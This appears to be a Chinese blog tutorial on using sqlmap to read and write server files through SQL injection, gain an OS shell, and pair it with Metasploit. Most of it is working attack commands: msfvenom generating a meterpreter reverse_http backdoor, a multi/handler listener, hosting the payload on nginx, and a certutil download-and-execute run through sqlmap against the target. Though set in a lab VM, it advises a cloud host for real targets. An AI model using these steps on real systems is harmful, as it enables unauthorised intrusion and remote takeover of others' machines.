sqlmap(五)

一、进行文件读写操作

1.1 前提条件

高权限
目录有读写权限

secure_file_priv = " "

1.2 测试目标

第一步:用抓包的方式获取请求测试站点的数据包   可以使用Burpsuite

第二步:将抓到的数据包,保存到sqlmap目录下的a.txt
第三步:进行测试

python sqlmap.py -r a.txt --purge

其他测试

测试用户
python sqlmap.py -r a.txt --current-user
python sqlmap.py -r a.txt --is-dba

1.3 进行文件读写

--file-read "文件名"

--file-write "源文件" --file-dest "目标文件"          将源文件中内容读出,然后写入到目标文件中

案例一:读取远程主机上D盘下n1.txt 中的内容

python sqlmap.py -r a.txt --file-read "d:/n1.txt"

案例二:将本地主机中,F盘下的n1.txt中的内容读取出来,写入到远程主机的D盘下的a09.php中

python sqlmap.py -r a.txt --file-write "F:/n1.txt" --file-dest "D:/a09.php"

二、获取主机shell

2.1 前提条件

  • 高权限
  • 目录有读写权限
  • secure_file_priv = " "
  • 数据库用户有读写权限

注意:

  • 仅对MySQL、MSSQL、PosgreSQL有效

2.2 基本原理

获取shell

注入攻击的最终目的就是为了获取目标主机的控制权,也就是为了获取目标主机的shell。

sqlmap能够在数据库所在服务器的操作系统上运行任意的命令

格式:

  • sqlmap -u "URL" --os-shell                 获取系统交互
  • sqlmap -u "URL" --os-cmd=命令        直接执行系统命令

执行命令的原理

  • 原理就是在执行--os-shell 或 --os-cmd=xxx的时候,会上传一个 upload 木马后,再上传一个cmd shell
  • 当 --os-shell 退出后,会调用后门脚本删除上传文件后,进行自删除
  • 在MySQL和PostgreSQL中,sqlmap可以上传一个包含两个用户自定义函数,分别为sys_exec()和sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。
  • 在Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的2005及以上版本默认关闭),sqlmap则会将其重新打开;如果该存储过程不存在,sqlmap则会重新创建它,当用户请求标准输出,sqlmap将使用任何可用的SQL注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
  • 如果堆叠查询没有被Web应用识别出来,并且 DBMS 为MySQL,加入后端DBMS和Web服务器在同一台服务器上,则仍可以通过利用SELECT 语句中的INTO OUTFILE,在根目录可写目录中写shell。

2.3 获取shell

说明

目标网站在Win10虚拟机中

禁用了secure_file_priv

操作步骤

也可以直接执行命令

python sqlmap.py -r 2.txt --os-cmd=ipconfig

注意:

这里所执行的命令,可以是任意命令,比如下载命令,因此可以控制远程主机下载恶意程序

2.4 联合msf

msf的简单介绍

后渗透工具

用于实现内网渗透和提权

基本思路

第一步:基于msf生成后门程序

第二步:将后门程序上传到目标主机可以访问的服务器之上【云主机】

第三步:在目标主机上进行远程下载,将后面程序下载到目标主机

实现流程

打开kali

1、启动msf

msfconsole

2、创建后门

msfvenom -p windows/meterpreter/reverse_http lhost=172.16.100.222 lport=5050 -f exe -o sql.exe
  • lhost=172.16.100.222         后门服务端地址【kali地址】
  • lport=5050                           后门服务端端口【kali端口】
  • -f exe                                   生成后门文件类型是exe文件
  • -o sql.exe                            指定生成的后门文件名

3、服务端开始监听反弹链接信息【kali中】

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 5050
msf6 exploit(multi/handler) > run

[*] Started HTTP reverse handler on http://0.0.0.0:5050   #看到此信息,说明已经开始监听

4、将生成的后门文件放到目标主机可以访问的服务器上

在真实环境中,可以购买一个云主机,本例中,直接在kali中安装了一个nginx作为服务器就可以,然后将生成sql.exe放到nginx的网站跟目录中即可

apt-get install nginx
systemctl enable nginx
systemctl start nginx
lsof -i :80

cd /var/www/html
echo "<h1>Hello Word</h1>" >index.html

将做好的sql.exe放到网站根目录
mv sql.exe /var/www/html/

5、在目标主机上执行名

通过sql注入漏洞,在目标主机上执行下载命令,下载sql.exe

python sqlmap.py -r 2.txt --of-cmd="certutil -urlcache -sqlit -f http://172.16.100.222/sql.exe c:/sql.exe"

然后再在目标主机上执行这个后门程序

python sqlmap.py -r 2.txt --os-cmd="c:/sql.exe"

一旦这个程序被运行,就会主动连接外部的172.16.100.222的5050端口

此时,在msf上会发现目标主机上线了 

可以执行命令看看

相关推荐

  1. <span style='color:red;'>sqlmap</span>

    sqlmap

    2024-04-09 17:40:01      54 阅读
  2. SQLMap介绍

    2024-04-09 17:40:01       45 阅读
  3. Sqlmap使用

    2024-04-09 17:40:01       32 阅读
  4. SQLMap进阶使用

    2024-04-09 17:40:01       46 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-09 17:40:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-09 17:40:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-09 17:40:01       82 阅读
  4. Python语言-面向对象

    2024-04-09 17:40:01       91 阅读

热门阅读

  1. 面试前必看,仅供参考

    2024-04-09 17:40:01       33 阅读
  2. 蓝桥杯算法题:蓝桥公园

    2024-04-09 17:40:01       38 阅读
  3. 图神经网络学习记录——图信号处理常见方法

    2024-04-09 17:40:01       36 阅读
  4. python pytest 面试题

    2024-04-09 17:40:01       38 阅读
  5. spring获取bean

    2024-04-09 17:40:01       31 阅读
  6. # 计算机视觉入门

    2024-04-09 17:40:01       34 阅读
  7. 算法刷题记录 Day41

    2024-04-09 17:40:01       39 阅读
  8. 外观模式(面子模式)

    2024-04-09 17:40:01       33 阅读
  9. uni-app中的地图简单说明 map

    2024-04-09 17:40:01       29 阅读
  10. 文本转语音常用的几个python库

    2024-04-09 17:40:01       30 阅读